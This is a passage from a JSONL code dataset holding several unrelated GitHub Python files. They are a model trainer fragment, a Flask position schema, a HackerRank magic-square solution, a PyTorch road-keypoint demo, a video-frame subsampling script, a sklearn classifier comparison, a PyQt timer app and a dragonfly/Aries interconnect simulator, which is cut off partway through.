config.n_epochs,\n train_loss,\n valid_loss,\n lowest_loss,\n ))\n\n # Restore to best model.\n self.model.load_state_dict(best_model)\n","repo_name":"Grace-0710/Classification-AI","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24444747655","text":"from .templates import template\n\nclass position(template):\n\n def __init__(self) -> None:\n super().__init__()\n self.__position = {\n \"id\":\"\",\n \"latitud\":\"\",\n \"longitud\":\"\",\n \"velocidad\":\"\",\n \"id_vehiculo\":\"\"\n }\n \n\n def get_item(self):\n item = self.__position.copy()\n data = data[0]\n item[\"id\"]= item[0]\n item[\"latitud\"]= item[1]\n item[\"longitud\"]= item[2]\n item[\"velocidad\"]= item[3]\n item[\"id_vehiculo\"]= item[4]\n return item\n \n \n def get_collection(self,collection):\n new_collection =[]\n for item in collection:\n new_item = self.__position.copy()\n new_item[\"id\"]= item[0]\n new_item[\"latitud\"]= item[1]\n new_item[\"longitud\"]= item[2]\n new_item[\"velocidad\"]= item[3]\n new_item[\"id_vehiculo\"]= item[4]\n new_collection.append(new_item)\n return new_collection\n \n\n def clear(self):\n \n self.__position = {\n \"id\":\"\",\n \"latitud\":\"\",\n \"longitud\":\"\",\n \"velocidad\":\"\",\n \"id_vehiculo\":\"\"\n }\n","repo_name":"duftcola-dev/Python","sub_path":"flask_docker_mysql/api/schemes/position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27165908616","text":"import math\nimport os\nimport random\nimport re\nimport sys\n\n\ndef formingMagicSquare(s):\n all_n = [\n [8, 1, 6, 3, 5, 7, 4, 9, 2],\n [6, 1, 8, 7, 5, 3, 2, 9, 4],\n [4, 9, 2, 3, 5, 7, 8, 1, 6],\n [2, 9, 4, 7, 5, 3, 6, 1, 8],\n [8, 3, 4, 1, 5, 9, 6, 7, 2],\n [4, 3, 8, 9, 5, 1, 2, 7, 6],\n [6, 7, 2, 1, 5, 9, 8, 3, 4],\n [2, 7, 6, 9, 5, 1, 4, 3, 8]\n ]\n flattened = [j for sub in s for j in sub]\n\n steps = []\n for l in all_n:\n steps.append(sum([abs(flattened[i]-l[i]) for i in range(9)]))\n\n return min(steps)\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = []\n\n for _ in range(3):\n s.append(list(map(int, input().rstrip().split())))\n\n result = formingMagicSquare(s)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"TannerGilbert/HackerRank-Solutions","sub_path":"ProblemSolving/Python/Implementation/forming_a_magic_square.py","file_name":"forming_a_magic_square.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"39320770450","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\nfrom data_loader import KFDataset, transform\nfrom model import keypointNet, BasicRPNet\nfrom utils.util import get_peak_points, config\n\nINDEX = 6\n\nfnames = [\n 'Section80CameraC_01260c',\n 'Section80CameraC_00036c',\n 'Section65CameraC_01115c',\n 'Section63CameraC_00816c',\n 'Section63CameraC_00000c',\n 'Section49CameraC_01399c',\n 'result_plot3']\nconfig['fname'] = '/data3/2019/gjx/zjy/road_keypoint_detection/test-image/{}.jpg'.format(\n fnames[INDEX])\nconfig['fname_seg'] = '/data3/2019/gjx/zjy/road_keypoint_detection/test-image/{}_green.png'.format(\n fnames[INDEX])\nconfig['img_shape'] = np.array([256, 256])\nconfig['is_test'] = True\nconfig['debug_vis'] = False\nconfig['debug'] = True\nconfig['checkout'] = '{}/best_model.ckpt'.format(config['save_dir'])\n\n\ndef plot_sample(x, y, axis):\n \"\"\"\n\n :param x: (9216,)\n :param y: (15,2)\n :param axis:\n :return:\n \"\"\"\n img = x.reshape(64, 64)\n axis.imshow(img, cmap='gray')\n axis.scatter(y[0], y[1], marker='x', s=10)\n\n\ndef plot_demo(X, y):\n fig = plt.figure(figsize=(6, 6))\n fig.subplots_adjust(\n left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n\n for i in range(16):\n ax = fig.add_subplot(4, 4, i + 1, xticks=[], yticks=[])\n plot_sample(X[i], y[i], ax)\n\n plt.show()\n\n\ndef test():\n with torch.no_grad():\n import time\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n #device = torch.device('cpu')\n net = BasicRPNet(\n outNode=2*config['point_num'], iters=config['iters'], fusion_mode=config['fusion_mode'], w_part=config['w_part'])\n net.float().to(device)\n net.eval()\n if (config['checkout'] != ''):\n net.load_state_dict(torch.load(config['checkout']))\n #net.load_state_dict({k.replace('module.',''):v for k,v in torch.load(config['checkout']).items()})\n\n image = Image.open(config['fname'])\n width, height = image.size\n image = np.array(image.resize(config['img_shape']))\n image_seg = Image.open(config['fname_seg'])\n image_seg = np.array(image_seg)\n #image_seg = np.array(image_seg.resize(config['img_shape']))\n img = transform(image)\n img = torch.reshape(img, (1, 3, image.shape[0], image.shape[1]))\n img = img.float().to(device)\n print(img.shape)\n time_start = time.time()\n outputs = net.forward(img)\n pred_heatmaps = outputs[:, :2*config['point_num']]\n part_heatmaps = outputs[:, 2*config['point_num']:]\n #pred_heatmaps = net.forward(images)\n\n demo_heatmaps = pred_heatmaps[0].cpu().data.numpy()[np.newaxis, ...]\n demo_pred_poins = get_peak_points(demo_heatmaps)[0] # (K,2)\n demo_pred_poins = demo_pred_poins * config['stride'] # (K,2)\n time_end = time.time()\n fig, ax = plt.subplots()\n plt.axis('off')\n #height, width = config['img_shape']\n plt.subplots_adjust(top=1, bottom=0, left=0, right=1, hspace=0, wspace=0)\n plt.margins(0, 0)\n fig.set_size_inches(width/100.0, height/100.0)\n plt.gca().xaxis.set_major_locator(plt.NullLocator())\n plt.gca().yaxis.set_major_locator(plt.NullLocator())\n plt.imshow(image_seg)\n demo_pred_poins = demo_pred_poins * \\\n np.array([width, height]) / config['img_shape']\n plt.scatter(demo_pred_poins[:, 0], demo_pred_poins[:, 1], c='red', s=50)\n plt.plot(demo_pred_poins[:, 0], demo_pred_poins[:, 1], c='red')\n plt.savefig('figures/{}_result.pdf'.format(fnames[INDEX]), dpi=300)\n plt.show()\n #plot_demo(demo_heatmaps.squeeze(), demo_pred_poins/config['stride'])\n\n print('totally cost', time_end-time_start)\n # print(demo_pred_poins)\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"JingYue2000/Road-point-detection","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43447098645","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 17 11:28:40 2022\n\n@author: Joseph Sombeck\n\"\"\"\n\n#%% import useful things\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport remove_frames_utils as utils\n\nimport pandas as pd\n\n\n#%% subsample labeled images, store in new folder.\npath = 'D:\\\\Lab\\\\Data\\\\DLCgrasp_training_frames\\\\20210921_cam_0_b2'\n#path = 'D:\\\\Lab\\\\Data\\\\DLCgrasp_training_frames\\\\20211105_cam_3_b'\n\nout = utils.run_cluster_removal(path, ratio_keep=0.35, des_width=300, des_height=300, n_pca_comp=12)\n\nframes_keep = out[0]\nSSW = out[1]\npix_vals_pca = out[2]\nall_im = out[3]\nn_clusters = out[4]\nclass_pred = out[5]\nclust_centers = out[6]\n\nnew_df, new_image_fnames = utils.remove_frames(path, frames_keep)\n\n\nnew_path = path + '_subsampled'\nutils.write_subsampled_data(path,new_path, new_df, new_image_fnames)\n\n\n\n\n\n#%% the following methods make plots related to the subsampling\n#%% plot some frames from the same cluster\n \nfor c in range(15):\n\n in_clust_idx = np.argwhere(class_pred==c)[0:4]\n f, ax = plt.subplots(nrows=2,ncols=2)\n ax=ax.reshape((-1,))\n counter = 0\n for idx in in_clust_idx:\n ax[counter].imshow(all_im[idx[0]])\n counter=counter+1\n \n \n#%% plot 2D pca projection with clusters colored\n\nplt.figure()\nfor i in range(n_clusters):\n in_cluster = class_pred == i\n plt.plot(pix_vals_pca[in_cluster==1,0],pix_vals_pca[in_cluster==1,1],'.')\n \n \n\n\n\n#%% this runs for various numbers of clusters.\n\npath = 'D:\\\\Lab\\\\Data\\\\DLCgrasp_training_frames\\\\20210921_cam_0_b2'\ndes_width = 250\ndes_height = 250\n\npca_n_components = 15\n\nratio_keeps = [0.2,0.3,0.4, 0.5, 0.6, 0.8]\n\nSSW_all = []\nfor i in range(len(ratio_keeps)):\n out = utils.run_cluster_removal(path, ratio_keep=ratio_keeps[i], des_width=250, des_height=250, n_pca_comp=15)\n SSW_all.append(out[1])\n \n\n \n# plot mean SSW for each run\n \nplt.figure()\nSSW_mean = []\nfor i in range(len(ratio_keeps)):\n SSW_mean.append(np.mean(SSW_all[i]))\n \nplt.plot(ratio_keeps, SSW_mean)","repo_name":"limblab/proc-joe","sub_path":"legacy_analyses/dlc_frame_remover/remove_frames.py","file_name":"remove_frames.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"69977788413","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nCombined Classifiers for high level \nmodel selection. \n\nModified. Not All Classifiers used.\n\n\nSAMPLE ONLY\n\n\"\"\"\n\nfrom sklearn.naive_bayes import *\nfrom sklearn.dummy import *\nfrom sklearn.ensemble import *\nfrom sklearn.neighbors import *\nfrom sklearn.tree import *\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.calibration import *\nfrom sklearn.linear_model import *\nfrom sklearn.multiclass import *\nfrom sklearn.svm import *\nfrom sklearn.svm import SVC\nimport pandas\n\n\ndef perform(classifiers, vectorizers, train_data, test_data):\n for classifier in classifiers:\n for vectorizer in vectorizers:\n string = ''\n string += classifier.__class__.__name__ + ' with ' + vectorizer.__class__.__name__\n\n # train\n vectorize_text = vectorizer.fit_transform(train_data.Title)\n classifier.fit(vectorize_text, train_data.To_Predict)\n\n # score\n vectorize_text = vectorizer.transform(test_data.Title)\n score = classifier.score(vectorize_text, test_data.To_Predict)\n string += '. Has score: ' + str(score)\n print(string)\n\n# open data-set and divide it\ndata = pandas.read_csv('for_domain_improved.csv')\nlearn = data[:5500] \ntest = data[5500:] \n\nperform(\n [\n BernoulliNB(),\n RandomForestClassifier(n_estimators=100, n_jobs=-1),\n MultinomialNB(),\n LogisticRegression(),\n DecisionTreeClassifier(),\n OneVsRestClassifier(SVC(kernel='linear')),\n OneVsRestClassifier(LogisticRegression()),\n KNeighborsClassifier()\n ],\n [\n CountVectorizer(),\n TfidfVectorizer(),\n ],\n learn,\n test\n)\n","repo_name":"abhaymunj/code-samples","sub_path":"combined_classifiers_sample.py","file_name":"combined_classifiers_sample.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71317104572","text":"from PyQt5 import QtWidgets\nimport sys\nfrom PyQt5.QtCore import QTimer\n\n\nfrom qtimer import Ui_MainWindow\nfrom datetime import datetime\n\n\n\n\nclass Window(QtWidgets.QMainWindow):\n\n def __init__(self):\n super(Window, self).__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n\n self.timer=QTimer()\n self.timer.timeout.connect(self.show_time)\n \n\n self.ui.pushButton_start.clicked.connect(self.start_timer)\n self.ui.pushButton_stop.clicked.connect(self.stop_timer)\n\n self.show_time()\n \n\n def show_time(self) :\n tarih = datetime.now()\n self.ui.label.setText(str(tarih))\n\n def start_timer(self) :\n self.timer.start(1000)\n self.ui.pushButton_start.setEnabled(False)\n self.ui.pushButton_stop.setEnabled(True)\n\n def stop_timer(self) :\n self.timer.stop()\n self.ui.pushButton_start.setEnabled(True)\n self.ui.pushButton_stop.setEnabled(False)\n\n \n\n \n\n\n \n\n \n\n\n\n\n\n\n\n \n\n \n \n \n\n \n \n\n\n \n\n\n \n\n \n\n \n \ndef app() :\n app = QtWidgets.QApplication(sys.argv)\n win = Window()\n win.show()\n sys.exit(app.exec_()) \n \n\napp()\n\n\n","repo_name":"bm-snnsmsk/my_workshop","sub_path":"python/003_QtDesigner/028_QTimer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39516223035","text":"#\n# dragonfly.py :- a dragonfly interconnect; including aries\n#\n\nfrom intercon import *\nimport random\n\nclass DragonflySwitch(Switch):\n \"\"\"A switch for the dragonfly and aries interconnect.\"\"\"\n \n def __init__(self, baseinfo, hpcsim_dict, intercon, gid, swid):\n self.dragonfly = intercon\n self.gid = gid\n self.swid = swid\n self.hpcsim_dict = hpcsim_dict\n super(DragonflySwitch, self).__init__(baseinfo, hpcsim_dict, self.dragonfly.proc_delay)\n h = self.dragonfly.num_inter_links_per_switch\n i = self.swid\n j = self.gid\n # establish inter-group connections\n if self.dragonfly.inter_group_topology is 'consecutive':\n for k in xrange(h):\n peer_dict = self.connect_inter_link(j, i, k) # j:group id, i:switch id, k:port\n peer_gid = peer_dict[\"g_id\"]\n peer_swid = peer_dict[\"s_id\"] # switch id inside group\n peer_port = peer_dict[\"p_id\"]\n peer_id = peer_gid*self.dragonfly.num_switches_per_group+peer_swid \n iface_name = 'g%d'%k\n peer_iface = 'g%d'%peer_port \n peer_node_names = (\"Switch\",)*self.dragonfly.inter_link_dups\n peer_node_ids = (peer_id,)*self.dragonfly.inter_link_dups\n peer_iface_names = (peer_iface,)*self.dragonfly.inter_link_dups\n peer_iface_ports = tuple(range(self.dragonfly.inter_link_dups)) \n self.interfaces[iface_name] = Interface(self, iface_name, self.dragonfly.inter_link_dups, \n peer_node_names, peer_node_ids, \n peer_iface_names, peer_iface_ports, \n self.dragonfly.inter_group_bdw, \n self.dragonfly.bufsz, \n self.dragonfly.inter_group_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]: \n print(\"%s %s connects to switch %r iface %r ports %r\" % \n (self, self.interfaces[iface_name], peer_node_ids, \n peer_iface_names, peer_iface_ports))\n # the inter-links are grouped together in such connection.\n elif self.dragonfly.inter_group_topology is 'consecutive_aries':\n m = self.dragonfly.num_inter_links_grouped\n for k in xrange(h):\n for l in xrange(m): # for individual cable (which are bundled together) \n peer_dict = self.connect_inter_link(j, i, k, True, l) # j:grp_id, i:sw_id, k:port \n peer_gid = peer_dict[\"g_id\"]\n peer_swid = peer_dict[\"s_id\"] # switch id inside group\n peer_port = peer_dict[\"p_id\"]\n peer_id = peer_gid*self.dragonfly.num_switches_per_group+peer_swid \n iface_name = 'g%d'%(k*m+l)\n peer_iface = 'g%d'%peer_port \n peer_node_names = (\"Switch\",)*self.dragonfly.inter_link_dups\n peer_node_ids = (peer_id,)*self.dragonfly.inter_link_dups\n peer_iface_names = (peer_iface,)*self.dragonfly.inter_link_dups\n peer_iface_ports = tuple(range(self.dragonfly.inter_link_dups)) \n self.interfaces[iface_name] = Interface(self, iface_name, self.dragonfly.inter_link_dups, \n peer_node_names, peer_node_ids, \n peer_iface_names, peer_iface_ports, \n self.dragonfly.inter_group_bdw, \n self.dragonfly.bufsz, \n self.dragonfly.inter_group_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]: \n print(\"%s %s connects to switch %r iface %r ports %r\" % \n (self, self.interfaces[iface_name], peer_node_ids, \n peer_iface_names, peer_iface_ports))\n # establish intra-group connections\n if self.dragonfly.intra_group_topology == 'all_to_all':\n h = self.dragonfly.num_intra_links_per_switch\n for k in xrange(h):\n peer_dict = self.connect_intra_link(i, k) # i:switch id, k:port\n peer_gid = self.gid\n peer_swid = peer_dict[\"s_id\"]\n peer_port = peer_dict[\"p_id\"]\n peer_id = peer_gid*self.dragonfly.num_switches_per_group+peer_swid \n iface_name = 'l%d'%k # l: local \n peer_iface = 'l%d'%peer_port\n peer_node_names = (\"Switch\",)*self.dragonfly.intra_link_dups\n peer_node_ids = (peer_id,)*self.dragonfly.intra_link_dups\n peer_iface_names = (peer_iface,)*self.dragonfly.intra_link_dups\n peer_iface_ports = tuple(range(self.dragonfly.intra_link_dups)) \n self.interfaces[iface_name] = Interface(self, iface_name, self.dragonfly.intra_link_dups, \n peer_node_names, peer_node_ids, \n peer_iface_names, peer_iface_ports, \n self.dragonfly.intra_group_bdw, \n self.dragonfly.bufsz, \n self.dragonfly.intra_group_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]: \n print(\"%s %s connects to switch %r iface %r ports %r\" % \n (self, self.interfaces[iface_name], peer_node_ids, \n peer_iface_names, peer_iface_ports))\n elif self.dragonfly.intra_group_topology == 'cascade':\n p = self.dragonfly.num_intra_links_for_blades\n q = self.dragonfly.num_intra_links_for_chassis\n m = self.dragonfly.num_intra_links_grouped\n # intra-chassis: \n for k in xrange(p):\n peer_dict = self.connect_intra_link(i, k, True) # i:switch id, k:port, True: cascade\n peer_gid = self.gid\n peer_swid = peer_dict[\"s_id\"]\n peer_port = peer_dict[\"p_id\"]\n peer_id = peer_gid*self.dragonfly.num_switches_per_group+peer_swid \n iface_name = 'l%d'%k # l: local \n peer_iface = 'l%d'%peer_port\n peer_node_names = (\"Switch\",)*self.dragonfly.intra_chassis_dups\n peer_node_ids = (peer_id,)*self.dragonfly.intra_chassis_dups\n peer_iface_names = (peer_iface,)*self.dragonfly.intra_chassis_dups\n peer_iface_ports = tuple(range(self.dragonfly.intra_chassis_dups)) \n self.interfaces[iface_name] = Interface(self, iface_name, self.dragonfly.intra_chassis_dups, \n peer_node_names, peer_node_ids, \n peer_iface_names, peer_iface_ports, \n self.dragonfly.intra_chassis_bdw, \n self.dragonfly.bufsz, \n self.dragonfly.intra_chassis_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]: \n print(\"%s %s connects to switch %r iface %r ports %r\" % \n (self, self.interfaces[iface_name], peer_node_ids, \n peer_iface_names, peer_iface_ports))\n # inter-chassis: \n for k in xrange(p, p+q):\n for l in xrange(m):\n peer_dict = self.connect_intra_link(i, k, True, l) # i:switch id, k:port, True: cascade\n peer_gid = self.gid\n peer_swid = peer_dict[\"s_id\"]\n peer_port = peer_dict[\"p_id\"]\n peer_id = peer_gid*self.dragonfly.num_switches_per_group+peer_swid \n iface_name = 'l%d'%(p+(k-p)*m+l) # l: local \n peer_iface = 'l%d'%peer_port\n peer_node_names = (\"Switch\",)*self.dragonfly.inter_chassis_dups\n peer_node_ids = (peer_id,)*self.dragonfly.inter_chassis_dups\n peer_iface_names = (peer_iface,)*self.dragonfly.inter_chassis_dups\n peer_iface_ports = tuple(range(self.dragonfly.inter_chassis_dups)) \n self.interfaces[iface_name] = Interface(self, iface_name, self.dragonfly.inter_chassis_dups, \n peer_node_names, peer_node_ids, \n peer_iface_names, peer_iface_ports, \n self.dragonfly.inter_chassis_bdw, \n self.dragonfly.bufsz, \n self.dragonfly.inter_chassis_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]: \n print(\"%s %s connects to switch %r iface %r ports %r\" % \n (self, self.interfaces[iface_name], peer_node_ids, \n peer_iface_names, peer_iface_ports))\n # connect to hosts\n dir = \"h\"\n n = self.dragonfly.num_hosts_per_switch\n s = self.dragonfly.num_switches_per_group\n peer_node_names = (\"Host\",)*n \n peer_node_ids = []\n for p in xrange(n):\n hid = self.gid*s*n + self.swid*n + p \n peer_node_ids.append(hid)\n peer_iface_names = (\"r\",)*n\n peer_iface_ports = (0,)*n\n self.interfaces[dir] = Interface(self, dir, n, \n peer_node_names, tuple(peer_node_ids),\n peer_iface_names, peer_iface_ports, \n self.dragonfly.switch_host_bdw, \n self.dragonfly.bufsz,\n self.dragonfly.switch_host_delay)\n if \"switch.connect\" in self.hpcsim_dict[\"debug_options\"]:\n print(\"%s %s connects to host %r iface %r ports %r\" %\n (self, self.interfaces[dir], tuple(peer_node_ids),\n peer_iface_names, peer_iface_ports))\n\n def __str__(self):\n return \"switch[%d](%d,%d)\"%(self.gid*self.dragonfly.num_switches_per_group+self.swid,\n self.gid, self.swid)\n\n def connect_inter_link(self, gid, sid, port, aries = False, l = None):\n \"\"\"Returns inter-link connection info (grp id, switch id, port)\"\"\"\n \n # Local variables:\n # gid: grp id of the switch, sid: id of the switch, port: id of the port\n # Optional local variables:\n # aries: default (False) is dragonfly; True is aries (multiple cables bundled together) \n # l: default (None) is dragonfly; otherwise value represents # of cables bundled together \n # According to \"Topological Characterization of Hamming\n # and Dragonfly Networks and Routing\" paper, by Cristobal\n # Camarero, Enrique Vallejo, and Ramon Beivide, ACM TACO,\n # 11(4), 2015, \"The consecutive allocation of global links\n # consists of connecting the routers in each group in\n # consecutive order, with the groups in the network also\n # in consecutive order, starting always from group 0 and\n # skipping those links with source and destination being\n # in the same group. Specifically, the vertex i in group j\n # is connected for every integer k = 0, ... , h-1 with the\n # vertex floor((j-1)/h) of the group g=i*h+k if g self.dragonfly.num_groups - 1):\n raise Exception(\"Group id should be between 0 and num_of_group-1.\")\n if(sid > self.dragonfly.num_switches_per_group - 1):\n raise Exception(\"Switch id should be between 0 and num_of_switches_per_group-1.\")\n if(port > self.dragonfly.num_inter_links_per_switch - 1):\n raise Exception(\"Port id should be between 0 and num_of_global_links_per_switch-1.\")\n dest = dict()\n h = self.dragonfly.num_inter_links_per_switch\n g = sid*h+port\n if g >= gid:\n dest[\"g_id\"] = g+1\n dest[\"s_id\"] = int(gid/h)\n if aries == False: \n dest[\"p_id\"] = gid-int(gid/h)*h\n else: # consecutive Aries connection\n m = self.dragonfly.num_inter_links_grouped\n dest[\"p_id\"] = (gid-int(gid/h)*h)*m+l\n else:\n dest[\"g_id\"] = g\n dest[\"s_id\"] = int((gid-1)/h)\n if aries == False:\n dest[\"p_id\"] = (gid-1)-int((gid-1)/h)*h\n else: # consecutive Aries connection \n m = self.dragonfly.num_inter_links_grouped\n dest[\"p_id\"] = ((gid-1)-int((gid-1)/h)*h)*m+l\n return dest\n\n def connect_intra_link(self, sid, port, cascade = False, l = None):\n \"\"\"Returns intra-link connection info (switch id, port)\"\"\"\n\n # Local variables:\n # sid: id of the switch, port: id of the port\n # cascade: type of intra-connect, default (false) dragonfly topology, true=cascade\n # Optional local variables:\n # cascade: default (False) is dragonfly; True is cascade (multiple cables bundled together) \n # l: default (None) is dragonfly; otherwise value represents # of cables bundled together \n if(sid > self.dragonfly.num_switches_per_group - 1):\n raise Exception(\"Switch id should be between 0 and num_of_switches_per_group-1.\")\n if cascade == False:\n if(port > self.dragonfly.num_intra_links_per_switch - 1):\n raise Exception(\"Port id should be between 0 and num_of_intra_links_per_switch-1.\")\n else: # cascade\n if(port > (self.dragonfly.num_intra_links_for_blades+ \\\n self.dragonfly.num_intra_links_for_chassis-1)):\n raise Exception(\"Port id should be between 0 and num_of_intra_links_per_switch-1.\")\n\n dest = dict()\n if cascade == False:\n if port >= sid:\n dest[\"s_id\"] = port+1\n dest[\"p_id\"] = sid\n else:\n dest[\"s_id\"] = port\n dest[\"p_id\"] = sid-1\n else: # cascade intra-connect\n # Note: blades within a chassis form a subgroup\n n_b = self.dragonfly.num_blades_per_chassis \n l_b = self.dragonfly.num_intra_links_for_blades# num_of_links for diff blades among a chassis\n sid_rel = sid%n_b # relative switch id within the subgroup\n sg_id = sid/n_b # subgroup id where the switch is located \n m = self.dragonfly.num_intra_links_grouped\n if port < l_b: # \"all_to_all\" connection among blades for same chassis\n if port >= sid_rel:\n dest_sid_rel = port+1 # destination \"relative\" switch id within subgroup\n dest[\"p_id\"] = sid_rel\n else:\n dest_sid_rel = port\n dest[\"p_id\"] = sid_rel-1\n dest[\"s_id\"] = sg_id*n_b+dest_sid_rel\n else: # connection to other chassis in same group\n u_or_d = port - l_b # to decide whether the link is going up or down.\n if u_or_d >= sg_id: # link going down\n dest[\"s_id\"] = (u_or_d+1)*n_b+sid_rel\n dest[\"p_id\"] = sg_id*m+l_b+l\n else: # link going up\n dest[\"s_id\"] = u_or_d*n_b+sid_rel\n dest[\"p_id\"] = (sg_id-1)*m+l_b+l\n return dest\n \n def min_forward(self, src_gid, src_sid, dest_gid, dest_sid):\n \"\"\"Returns interface for minimal (MIN) routing\"\"\"\n\n # Local vairables \n # src_gid: current group id, src_sid: current switch id \n # dest_gid: destination group id, dest_sid: destination switch id\n num_switch = self.dragonfly.num_switches_per_group\n num_inter_link = self.dragonfly.num_inter_links_per_switch\n if src_gid == dest_gid:\n # step 1: route within destination group\n if src_sid < dest_sid: \n port = (dest_sid%num_switch)-1\n else:\n port = dest_sid%num_switch\n return 'l%d'%port \n else:\n if src_gid > dest_gid:\n grp_output = dest_gid\n else:\n grp_output = dest_gid-1\n grp_rid = grp_output/num_inter_link \n if grp_rid == src_sid: # using global connection\n # step 2: route among different groups (i.e., optical links)\n port = grp_output%num_inter_link\n return 'g%d'%port\n else:\n # step 3: route within current group\n if src_sid < grp_rid:\n port = (grp_rid%num_switch)-1\n else:\n port = grp_rid%num_switch\n return 'l%d'%port\n #raise Exception(\"No port could be found during MIN routing\")\n \n def non_min_forward(self, src_gid, src_sid, int_gid, dest_gid, dest_sid): \n \"\"\"Returns interface for non_minimal (VAL) routing\"\"\"\n\n # Local vairables \n # src_gid: current group id, src_sid: current switch id\n # int_gid: intermediate group id\n # dest_gid: destination group id, dest_sid: destination switch id\n num_switch = self.dragonfly.num_switches_per_group\n num_inter_link = self.dragonfly.num_inter_links_per_switch\n if src_gid == dest_gid:\n # step 1: route within destination group\n if src_sid < dest_sid: \n port = (dest_sid%num_switch)-1\n else:\n port = dest_sid%num_switch\n return 'l%d'%port \n # steps 2 & 3: the packet is at the intermediate group\n elif src_gid == int_gid:\n if src_gid > dest_gid:\n grp_output = dest_gid # destination group id?\n else:\n grp_output = dest_gid-1\n grp_rid = grp_output/num_inter_link # router id within destination group? \n if grp_rid == src_sid: # using global connection\n # step 2: route among different groups\n port = grp_output%num_inter_link\n return 'g%d'%port\n else:\n # step 3: route within intermediate group\n if src_sid < grp_rid:\n port = (grp_rid%num_switch)-1\n else:\n port = grp_rid%num_switch\n return 'l%d'%port\n # steps 4 & 5: the packet is neither at intermediate group nor at destination group \n else:\n if src_gid > int_gid:\n grp_output = int_gid # intermediate group id?\n else:\n grp_output = int_gid-1\n grp_rid = grp_output/num_inter_link # router id within intermediate group? \n if grp_rid == src_sid: # using global connection\n # step 4: route among different groups\n port = grp_output%num_inter_link\n return 'g%d'%port\n else:\n # step 5: route within curernt group\n if src_sid < grp_rid:\n port = (grp_rid%num_switch)-1\n else:\n port = grp_rid%num_switch\n return 'l%d'%port\n #raise Exception(\"No port could be found during VAL routing\")\n \n # following implements minimal routing inside a group \n # (source grp/dest grp/intermediate grp) for cascade connection\n def route_inside_grp_min(self, cur_sid, dest_sid):\n \"\"\"Returns interface for minimal (MIN) routing inside a grp (cascade connection).\"\"\"\n \n # Local vairables \n # cur_sid: current switch id, dest_sid: destination switch\n n_b = self.dragonfly.num_blades_per_chassis \n l_b = self.dragonfly.num_intra_links_for_blades # num_of_links for diff blades among a chassis\n cur_sid_rel = cur_sid%n_b # src relative switch id within the subgroup\n cur_sgid = cur_sid/n_b # src subgrp no. where the switch is located\n dest_sid_rel = dest_sid%n_b # dest relative switch id within the subgroup\n dest_sgid = dest_sid/n_b # dest subgrp no. where the switch is located\n # first, check if the switches are in the same column \n # (i.e., directly reachable through chassis connection/vertical connection)\n if cur_sid%n_b == dest_sid%n_b:\n # step 1a. route among different chassis.\n # equivalent to routing \"globally\" among chassis\n if cur_sgid > dest_sgid:\n subgrp_output = dest_sgid\n else:\n subgrp_output = dest_sgid-1\n port = subgrp_output + l_b \n # select a random port from \"bundled\" intra-links:\n m = self.dragonfly.num_intra_links_grouped\n port_range = [l_b+(port-l_b)*m, l_b+(port-l_b)*m+m-1]\n port_rand = self.find_port_aries(port_range)\n port = port_rand\n return port \n # next, check if the switches are in the same row\n # (i.e., directly reachable through blade connection/horizontal connection)\n elif cur_sid/n_b == dest_sid/n_b:\n # step 1b. route among blades.\n # equivalent to routing \"locally\" among blades in a chassis \n if cur_sid_rel < dest_sid_rel:\n port = dest_sid_rel%n_b-1\n else:\n port = dest_sid_rel%n_b\n return port \n else:\n # step 1c. go to router \"M\" to reach destination or intermediate router.\n dest_sid_temp = cur_sgid*n_b+dest_sid_rel # switch id at intersection of src and dest switch \n dest_sid_temp_rel = dest_sid_temp%n_b # dest relative switch id within the subgroup\n if cur_sid < dest_sid_temp: \n port = dest_sid_temp_rel%n_b-1\n else:\n port = dest_sid_temp_rel%n_b\n return port \n #raise Exception(\"No port could be found during MIN routing inside grp for Aries\")\n \n def find_port_aries(self, port_range):\n \"\"\"Returns a randomly selected port for inter- or intra-link communication in Aries\"\"\"\n\n # Local variable\n # port_range: the port id range, from which a random port number is selected\n a = port_range[0]\n b = port_range[1]\n return random.randint(a, b)\n\n def min_forward_cascade(self, dest_gid, dest_sid):\n \"\"\"Returns interface for minimal (MIN) routing (cascade connection).\"\"\"\n # The routing algorithm is at: \"Cray XC30 System: Overview\" by Nathan Wichmann(slide 20).\n # Routing algorithm inside the group is also \"adaptive\".\n # Chooses between two minimal (global and local) and two non_minimal (global and local) paths.\n \n # Local vairables \n # dest_gid: destination group id, dest_sid: destination switch id\n cur_gid = self.gid; cur_sid = self.swid\n k = 